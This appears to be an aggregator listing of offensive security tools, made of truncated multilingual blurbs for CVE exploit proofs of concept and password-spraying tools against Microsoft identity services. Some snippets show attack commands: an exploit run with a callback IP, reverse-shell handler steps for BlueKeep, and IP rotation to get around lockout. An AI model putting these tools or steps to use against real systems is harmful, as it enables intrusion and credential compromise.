CVE-2025-21333

CVE-2025-21333 你可以在 https://github.com/MrAle98/CVE-2025-21333-POC/tree/master 找到此CVE的第一个版本利用程序。我受MrAle98所做利用程序的启发制作了这个新的利用程序。 它更稳定，而且很少出问题，因为它不需要打开 Windows 沙盒进程来获取 GUID。我使用了 Microsoft Defender 应用程序防护（MDAG）API 来获取沙盒进程的 GUID。 注意 我尝试了使用 MrAle98 使用的 IoRing 喷射方法，在完成 IoRing 的初始设置后一次性调用...

RDPassSpray

RDPassSpray RDPassSpray 是一个 Python 工具，用于在 Microsoft 域环境中执行密码喷射攻击。 请务必检查锁定策略，以防止锁定用户账户。 使用方法 首先，安装所需的依赖项： root@kitploit: pip3 install -r requirements.txt 然后，确保已安装 xfreerdp： root@kitploit: apt-get install python-apt apt-get install xfreerdp 最后，使用必要的标志运行该工具： root@kitploit: python3 RDPassSpray.py -u...

CredKing

CredKing Overview Benefits Basic Usage Plugin Usage Gmail Okta Installation Development Plugin specific arguments Overview Easily launch a password spray using AWS Lambda across multiple regions, rotating IP addresses with each request. Brought to you by: Benefits Fully supports all AWS Lambda...

AzureAD-Attack-Defense

Microsoft Entra ID - 攻击与防御手册 本出版物汇集了针对 Microsoft Entra 的各种常见攻击场景以及如何缓解或检测这些攻击。 所有包含的场景、见解和评论均基于贡献者在攻击模拟、实际操作或真实世界场景中的经验。 本文档应被视为一份持续更新的文档，将随着实践的发展以及攻击与防御技术的变化而更新。 我们邀请社区中的身份或安全专家共同参与本文档的编写，贡献更新、反馈、评论或进一步的补充。 章节 密码喷射 同意授权 Azure DevOps 管道中的服务主体 Microsoft Entra Connect 同步服务帐户 主刷新令牌（PRT）及其他已签发令牌的重放...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 可被此代码利用。（注意：代码编写方式非常愚蠢。） 概念验证 root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading + heap spray + execute...

0day-security-software-vulnerability-analysis-technology

0day-security-software-vulnerability-analysis-technology 《0day सुरक्षा: सॉफ़्टवेयर भेद्यता विश्लेषण तकनीक दूसरा संस्करण》 पुस्तक सामग्री पैकेज उपयोग सावधानियाँ सामग्री पैकेज में मौजूद सामग्री केवल सीखने के उद्देश्यों के लिए है। कोई भी संगठन, व्यक्ति या संस्था सामग्री पैकेज की सामग्री का उपयोग किसी...

Foxit-Precise-Heap-Spray

此存储库没有 README。...

CVE-2018-4121

CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit by MWR Labs c 2018 详情 此概念验证漏洞利用程序仅针对 macOS 10.13.3 17D47 上的 Safari 11.0.3 13604.5.6 版本。 将你选择的有效载荷编译为带有构造函数的动态库 dylib 运行 python filetojsarray.py your.dylib payload.js 提供此目录服务，并将 Safari 指向 /exploit.html 该漏洞利用并非完全可靠，并且为此 macOS/Safari 版本使用了硬编码偏移量。...

CVE-2021-40449-Exploit

CVE-2021-40449-Exploit 仅在 Windows 10 14393 和 Windows 10 17763 上有效 使用 Pallete 进行喷射，并使用 RtlSetAllBits 进行写入...

CVE20131491-JIT

========================= 标题 ========================================= CVE-2013-1491 PoC，利用 JIT-Spray 技术，作者：Yuki Chen（古河） +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Twitter: @guhe120 微博: http://weibo.com/u/1874932054 ========================= 关于此 PoC...

CVE-2025-62215_Windows_Kernel_PE

CVE-2025-62215 漏洞利用 PoC 原始代码来源：https://github.com/dexterm300 🧨 描述 本仓库包含针对 CVE-2025-62215 的概念验证漏洞利用代码，这是 Windows 内核中的一个竞态条件 漏洞，可通过并发操作内核对象句柄来触发。在特定条件下，这会导致双重释放 ，进而可利用该漏洞实现向 SYSTEM 的本地权限提升 。 该漏洞利用通过以下方式工作： 创建多个线程，快速打开和关闭内核对象句柄 利用时间窗口触发双重释放条件 使用堆喷射操纵内存布局 使用监控线程检测权限提升 ⚠️ 免责声明 本代码仅用于教育和授权的安全测试目的...

CVE-2024-27398

CVE-2024-27398 CVE-2024-27398 PoC 📍 GDB 断点 root@kitploit: GNU gdb Ubuntu 12.1-0ubuntu122.04.2 12.1 Copyright C 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent...

SSOh-No

SSOh-No 该工具旨在枚举用户、执行密码喷洒以及针对使用 Azure AD 或 O365 的任何组织进行暴力破解攻击。 通常，该端点会返回极其详细的错误信息，这些信息可用于枚举用户并通过暴力破解/喷洒攻击验证其密码，同时这些失败的身份验证尝试也不会被记录。 该工具是 arstechnica 研究文章 中演示的 PoC 的武器化版本，文章中讨论了利用该端点的技术。 微软已知悉此端点，但按照惯例，它被标记为功能特性而非缺陷。 该端点确实实施了“智能锁定”，但可以通过更换 IP 来绕过。 独特之处在哪里？ SSO 自动登录端点不包含任何形式的日志记录，可能仅会更新用户的“上次登录”时间。...

Klyda

El proyecto Klyda ha sido creado para ayudar en ataques rápidos basados en credenciales contra aplicaciones web en línea. Klyda soporta el uso desde simples rociados de contraseñas hasta grandes ataques de diccionario multihilo. Klyda es un proyecto nuevo, y estoy buscando contribuciones. Cualqui...

CVE-2025-21756

CVE-2025-21756 — Laboratorio de explotación Solo para fines educativos y de investigación de seguridad autorizada. Descripción CVE-2025-21756 es una vulnerabilidad de use-after-free UAF en el subsistema vsock Virtual Socket del kernel de Linux, divulgada el 26 de febrero de 2025. Permite a un...

cve-2021-29627

CVE-2021-29627 Etwas Code, um den Bug auszulösen, inkl. macsetfd spray. Braucht aber ein spray target...

cve-2019-0708_bluekeep_rce

Führe msfconsole meterpreter/multi/handler aus, um auf 192.168.116.133:6000 zu lauschen. 2. cd rdesktop-1.5.0 && make 3. Ändere die Konfiguration, um die Rückverbindungs-IP und den Port festzulegen: 192.168.116.133 6000 4. Führe ./heapspray 192.168.116.134 aus 134 ist die Adresse von XP, RAM = 2...

ADFSpray

ADFSpray ADFSpray è uno strumento python3 per effettuare attacchi di password spray contro Microsoft ADFS. VERIFICARE SEMPRE LA POLITICA DI BLOCCO PER PREVENIRE IL BLOCCO DEGLI UTENTI. Come usarlo Prima, installa le dipendenze necessarie: root@kitploit: pip3 install -r requirements.txt Esegui lo...

CTT-Vsyslog-Vortex-CVE-2023-6246

CTT-Vsyslog-Vortex-CVE-2023-6246 CVE-2023-6246 è un overflow di heap nel buffer di glibc vsysloginternal sfruttato tramite la Convergent Time Theory α = 0.0302011. Uno spray heap temporale a 33 strati con trigger bloccato in fase per un affidabile escalation dei privilegi locali. README.md...

DonPwner

🔥 DonPwner - Strumento Avanzato di Analisi e Attacco DonPAPI Strumento Avanzato di Password Spray e Analisi delle Credenziali - Sfrutta DonPAPI con Ritardo Intelligente e Jitter Caratteristiche • Installazione • Utilizzo • Esempi • Configurazione • Licenza 🎯 Informazioni DonPwner è uno strumento...